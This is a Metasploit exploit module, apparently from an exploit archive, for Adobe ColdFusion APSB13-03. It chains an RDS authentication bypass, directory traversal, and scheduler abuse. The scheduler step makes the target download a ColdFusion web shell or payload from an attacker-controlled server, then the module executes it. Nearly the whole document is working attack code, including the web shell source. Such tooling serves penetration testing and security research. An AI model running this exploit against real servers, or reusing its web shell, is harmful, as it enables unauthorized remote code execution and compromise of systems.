Adobe ColdFusion APSB13-03 - Remote Multiple Vulnerabilities (Metasploit)





Platform:

Multiple

Date:

2013-04-10


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'digest/sha1'
require 'openssl'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Adobe ColdFusion APSB13-03',
      'Description' => %q{
        This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
          * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
          * CVE-2013-0629: directory traversal
          * CVE-2013-0632: authentication bypass
      },
      'Author'       =>
        [
          'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-0625'],
          [ 'CVE', '2013-0629'],
          # we don't actually exploit this, as this is the backdoor
          # dropped by malware exploiting the other vulnerabilities
          [ 'CVE', '2013-0631'],
          [ 'CVE', '2013-0632'],
        ],
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }],
          [
            'Universal CMD',
            {
              'Arch'     => ARCH_CMD,
              'Platform' => ['unix', 'win', 'linux']
            }
          ]
        ],
      'DefaultTarget'  => 1,
      'Privileged'  => true,
      'Platform'    => [ 'win', 'linux' ],
      'DisclosureDate' => 'Jan 15 2013'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
        OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
        OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
      ], self.class)
  end

  def check
    exploitable = 0
    exploitable += 1 if check_cve_2013_0629
    exploitable += 1 if check_cve_2013_0632
    exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  end

  # Login any way possible, returning the cookies if successful, empty otherwise
  def login
    cf_cookies = {}

    ways = {
      'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
      'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
      'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
    }
    ways.each do |what, how|
      these_cookies = how.call
      if got_auth? these_cookies
        print_status "Authenticated using '#{what}' technique"
        cf_cookies = these_cookies
        break
      end
    end

    fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
    cf_cookies
  end

  def exploit
    # login
    cf_cookies = login

    # if we managed to login, get the listener ready
    datastore['URIPATH'] = rand_text_alphanumeric(6)
    srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
    start_service

    # drop a payload on disk which we can used to execute
    # arbitrary commands, which will be needed regardless of
    # which technique (cmd, payload) the user wants
    input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
    output_exec = "#{datastore['URIPATH']}-e.cfm"
    schedule_drop cf_cookies, input_exec, output_exec

    if datastore['CMD'] and not datastore['CMD'].empty?
      # now that the coldfusion exec is on disk, execute it,
      # passing in the command and arguments
      parts = datastore['CMD'].split(/\s+/)
      res = execute output_exec, parts.shift, parts.join(' ')
      print_line res.body.strip
    else
      # drop the payload
      input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
      output_payload = "#{datastore['URIPATH']}-p"
      schedule_drop cf_cookies, input_payload, output_payload
      # make the payload executable
      # XXX: windows?
      execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
      # execute the payload
      execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
    end
    handler
  end

  def execute cfm, cmd, args=''
    uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
    send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
  end

  def on_new_session(client)
    return
    # TODO: cleanup
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      @files.each do |file|
        client.fs.file.rm("#{file}")
      end
    else
      @files.each do |file|
        client.shell_command_token("rm #{file}")
      end
    end
  end

  def on_request_uri cli, request
    cf_payload = "test"
    case request.uri
    when "/#{datastore['URIPATH']}-e"
      cf_payload = <<-EOF
        <cfparam name="url.cmd" type="string" default="id"/>
        <cfparam name="url.args" type="string" default=""/>
        <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
        <cfoutput>#output#</cfoutput>
      EOF
    when "/#{datastore['URIPATH']}-p"
      cf_payload = payload.encoded
    end
    send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
  end


  # Given a hash of cookie key value pairs, return a string
  # suitable for use as an HTTP Cookie header
  def build_cookie_header cookies
    cookies.to_a.map { |a| a.join '=' }.join '; '
  end

  # this doesn't actually work
  def twiddle_csrf cookies, enable=false
    mode = (enable ? "Enabling" : "Disabling")
    print_status "#{mode} CSRF protection"
    params = {
      'SessEnable' => enable.to_s,
    }
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
        'method' => 'POST',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookies),
        'vars_post' => params,
      })
    if res
      if res.body =~ /SessionManagement should/
        print_error "Error #{mode} CSRF"
      end
    else
      print_error "No response while #{mode} CSRF"
    end
  end

  # Using the provided +cookies+, schedule a ColdFusion task
  #  to request content from +input_uri+ and drop it in +output_path+
  def schedule_drop cookies, input_uri, output_path
    vprint_status "Attempting to schedule ColdFusion task"
    cookie_hash = cookies

    scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
    scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
    # make a request to the scheduletasks page to pick up the CSRF token
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduletasks_path),
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
      })
    cookie_hash.merge! get_useful_cookies res

    if res
      # XXX: I can only seem to get this to work if 'Enable Session Variables'
      # is disabled (Server Settings -> Memory Variables)
      token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
      unless token
        print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
        #twiddle_csrf cookies, false
        token = ''
      end
    else
      fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
    end

    # make a request to the scheduletasks page again, this time passing in our CSRF token
    # in an attempt to get all of the other cookies used in a request
    cookie_hash.merge! get_useful_cookies res
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
      })

    fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res

    # pick a unique task ID
    task_id = SecureRandom.uuid
    # drop the backdoor in the CFIDE directory so it can be executed
    publish_file = '../../wwwroot/CFIDE/' + output_path
    # pick a start date.  This must be in the future, so pick
    # one sufficiently far ahead to account for time zones,
    # improper time keeping, solar flares, drift, etc.
    start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
    params = {
      'csrftoken' => token,
      'TaskName' => task_id,
      'Group' => 'default',
      'Start_Date' => start_date,
      'End_Date' => '',
      'ScheduleType' => 'Once',
      'StartTimeOnce' => '1:37 PM',
      'Interval' => 'Daily',
      'StartTimeDWM' => '',
      'customInterval_hour' => '0',
      'customInterval_min' => '0',
      'customInterval_sec' => '0',
      'CustomStartTime' => '',
      'CustomEndTime' => '',
      'repeatradio' => 'norepeatforeverradio',
      'Repeat' => '',
      'crontime' => '',
      'Operation' => 'HTTPRequest',
      'ScheduledURL' => input_uri,
      'Username' => '',
      'Password' => '',
      'Request_Time_out' => '',
      'proxy_server' => '',
      'http_proxy_port' => '',
      'publish' => '1',
      'publish_file' => publish_file,
      'publish_overwrite' => 'on',
      'eventhandler' => '',
      'exclude' => '',
      'onmisfire' => '',
      'onexception' => '',
      'oncomplete' => '',
      'priority' => '5',
      'retrycount' => '3',
      'advancedmode' => 'true',
      'adminsubmit' => 'Submit',
      'taskNameOriginal' => task_id,
      'groupOriginal' => 'default',
      'modeOriginal' => 'server',
    }

    cookie_hash.merge! (get_useful_cookies res)
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduleedit_path),
        'method' => 'POST',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
        'vars_post' => params,
      })

    if res
      # if there was something wrong with the task, capture those errors
      # print them and abort
      errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
      if errors.empty?
        if res.body =~ /SessionManagement should/
          fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
        end
        print_status "Created task #{task_id}"
      else
        fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
      end
    else
      fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
    end

    print_status "Executing task #{task_id}"
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookie_hash),
      })

    #twiddle_csrf cookies, true
    if datastore['DELETE_TASK']
      print_status "Removing task #{task_id}"
      res = send_request_cgi(
        {
          'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
          'method' => 'GET',
          'connection' => 'TE, close',
          'cookie' => build_cookie_header(cookie_hash),
        })
    end

    vprint_status normalize_uri(target_uri, publish_file)
    publish_file
  end

  # Given the HTTP response +res+, extract any interesting, non-empty
  # cookies, returning them as a hash
  def get_useful_cookies res
    set_cookie = res.headers['Set-Cookie']
    # Parse the Set-Cookie header
    parsed_cookies = CGI::Cookie.parse(set_cookie)

    # Clean up the cookies we got by:
    #   * Dropping Path and Expires from the parsed cookies -- we don't care
    #   * Dropping empty (reset) cookies
    %w(Path Expires).each do |ignore|
      parsed_cookies.delete ignore
      parsed_cookies.delete ignore.downcase
    end
    parsed_cookies.keys.each do |name|
      parsed_cookies[name].reject! { |value| value == '""' }
    end
    parsed_cookies.reject! { |name,values| values.empty? }

    # the cookies always seem to start with CFAUTHORIZATION_, but
    # give the module the ability to log what it got in the event
    # that this stops becoming an OK assumption
    unless parsed_cookies.empty?
      vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
    end
    cookie_pattern = /^CF/
    useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
    if useful_cookies.empty?
      vprint_status "No #{cookie_pattern} cookies found"
    else
      vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
    end
    useful_cookies
  end

  # Authenticates to ColdFusion Administrator via the adminapi using the
  # specified +user+ and +password+.  If +use_rds+ is true, it is assumed that
  # the provided credentials are for RDS, otherwise they are assumed to be
  # credentials for ColdFusion Administrator.
  #
  # Returns a hash (cookie name => value) of the cookies obtained
  def adminapi_login user, password, use_rds
    vprint_status "Attempting ColdFusion Administrator adminapi login"
    user ||= ''
    password ||= ''
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
        'method' => 'POST',
        'connection' => 'TE, close',
        'vars_post' => {
          'method' => 'login',
          'adminUserId' => user,
          'adminPassword' => password,
          'rdsPasswordAllowed' => (use_rds ? '1' : '0')
        }
      })

    if res
      if res.code == 200
        vprint_status "HTTP #{res.code} when authenticating"
        return get_useful_cookies(res)
      else
        print_error "HTTP #{res.code} when authenticating"
      end
    else
      print_error "No response when authenticating"
    end

    {}
  end

  # Authenticates to ColdFusion Administrator using the specified +user+ and
  # +password+
  #
  # Returns a hash (cookie name => value) of the cookies obtained
  def administrator_login user, password
    cf_cookies = administrator_9x_login user, password
    unless got_auth? cf_cookies
      cf_cookies = administrator_10x_login user, password
    end
    cf_cookies
  end

  def administrator_10x_login user, password
    # coldfusion 10 appears to do:
    #   cfadminPassword.value = hex_sha1(cfadminPassword.value)
    vprint_status "Trying ColdFusion 10.x Administrator login"
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
        'method' => 'POST',
        'vars_post' => {
          'cfadminUserId' => user,
          'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
          'requestedURL' => '/CFIDE/administrator/index.cfm',
        'submit' => 'Login',
        }
      })

    if res
      if res.code.to_s =~ /^30[12]/
        useful_cookies = get_useful_cookies res
        if got_auth? useful_cookies
          return useful_cookies
        end
      else
        if res.body =~ /<title>Error/i
          print_status "Appears to be restricted and/or not ColdFusion 10.x"
        elsif res.body =~ /A License exception has occurred/i
          print_status "Is license restricted"
        else
          vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request.  Not 10.x?"
          vprint_status res.body
        end
      end
    end

    return {}
  end

  def got_auth? cookies
    not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
  end

  def administrator_9x_login user, password
    vprint_status "Trying ColdFusion 9.x Administrator login"
    # coldfusion 9 appears to do:
    #   cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
    #
    # You can get a current salt from
    #   http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
    #
    # Unfortunately that URL might be restricted and the salt really just looks
    # to be the current time represented as the number of milliseconds since
    # the epoch, so just use that
    salt = (Time.now.to_i * 1000).to_s
    pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
        'method' => 'POST',
        'vars_post' => {
          'submit' => 'Login',
          'salt' => salt,
          'cfadminUserId' => user,
          'requestedURL' => '/CFIDE/administrator/index.cfm',
          'cfadminPassword' => pass,
        }
      })
    if res
      return get_useful_cookies res
    else
      print_error "No response while trying ColdFusion 9.x authentication"
    end

    {}
  end

  # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
  #
  # Returns a hash (cookie name => value) of the cookies obtained
  def componentutils_login user, password
    vprint_status "Attempting ColdFusion ComponentUtils login"
    vars = {
          'j_password_required' => "Password+Required",
          'submit' => 'Login',
    }
    vars['rdsUserId'] = user if user
    vars['j_password'] = password if password
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
        'method' => 'POST',
        'connection' => 'TE, close',
        'vars_post' => vars
      })

    cf_cookies = {}
    if res.code.to_s =~ /^(?:200|30[12])$/
      cf_cookies = get_useful_cookies res
    else
      print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
    end

    cf_cookies
  end

  def check_cve_2013_0629
    vulns = 0
    paths = %w(../../../license.txt ../../../../license.html)

    # first try password-less bypass in the event that this thing
    # was just wide open
    vuln_without_creds = false
    paths.each do |path|
      if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
        vulns += 1
        vuln_without_creds = true
        break
      end
    end

    if vuln_without_creds
      print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
    else
      print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
    end

    # if credentials are provided, try those too
    if datastore['USERNAME'] and datastore['PASSWORD']
      vuln_without_bypass = false
      paths.each do |path|
        cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
        if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
          vulns += 1
          vuln_without_bypass = true
          break
        end
      end

      if vuln_without_bypass
        print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
      else
        print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
      end
    end

    # now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
    vuln_with_bypass = false
    paths.each do |path|
      cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
      # we need to take the cookie value from CFAUTHORIZATION_cfadmin
      # and use it for CFAUTHORIZATION_componentutils
      cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
      cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
      if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
        vulns += 1
        vuln_with_bypass = true
        break
      end
    end

    if vuln_with_bypass
      print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
    else
      print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
    end

    vulns > 0
  end

  # Checks for CVE-2013-0632, returning true if the target is
  # vulnerable, false otherwise
  def check_cve_2013_0632
    if datastore['USERDS']
      # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
      # subsequently *enabled* after install, the password is unset so we simply must
      # check that and only that.
      cf_cookies = adminapi_login 'foo', 'bar', true
      if cf_cookies.empty?
        print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
      else
        print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
        return true
      end
    else
      print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
    end
    false
  end

  def traverse_read path, cookies
    uri = normalize_uri(target_uri.path)
    uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
    uri << path
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'GET',
        'connection' => 'TE, close',
        'cookie' => build_cookie_header(cookies)
      })
    res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
  end
end